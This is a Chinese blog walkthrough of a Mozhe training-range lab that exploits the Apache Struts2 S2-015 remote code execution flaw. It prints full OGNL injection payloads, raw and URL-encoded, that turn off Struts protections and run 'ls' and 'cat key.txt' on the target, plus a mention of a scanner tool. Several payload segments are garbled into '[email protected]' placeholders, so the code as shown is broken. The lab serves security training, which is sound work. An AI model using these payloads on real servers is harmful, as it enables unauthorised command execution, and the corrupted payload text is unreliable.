08#墨者靶场-Apache Struts2远程代码执行漏洞(S2-015)复现

                                                   墨者学习

                                                  By/shy014

背景介绍

某日,安全工程师"墨者"对一单位业务系统进行授权扫描,在扫描过程中,发现了某个业务系统使用Apache Struts2框架。并且该版本存在高危漏洞,不知道运维人员是否修补了漏洞。

实训目标

1、了解Apache Struts2框架;

2、了解Apache Struts2远程代码执行漏洞(S2-015);

3、了解Apache Struts2远程代码执行漏洞形成原理;

4、掌握Apache Struts2远程代码执行漏洞利用方法;

解题方向

验证Apache Struts2远程代码执行漏洞(S2-015)。

由于通配符匹配机制引入的漏洞或OGNL表达式的双重评估允许远程命令执行。

  1. 在墨者学院找到该靶场并点击启动靶场

  1. 点击访问,进入靶场环境,输入/${1+1}.action。发现表达式被执行,证明存在漏洞。

  1. 查看文件

Payload:${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action

需要经过url编码:

/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action

4.执行cat key.txt,获取key

Payload:/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action

二.使用struts2漏洞检测工具

1.使用工具进行检测,发现存在漏洞

2.执行ls命令

  1. 读取key.txt值

  1. 提交key

发布了41 篇原创文章 · 获赞 5 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_32393893/article/details/103240090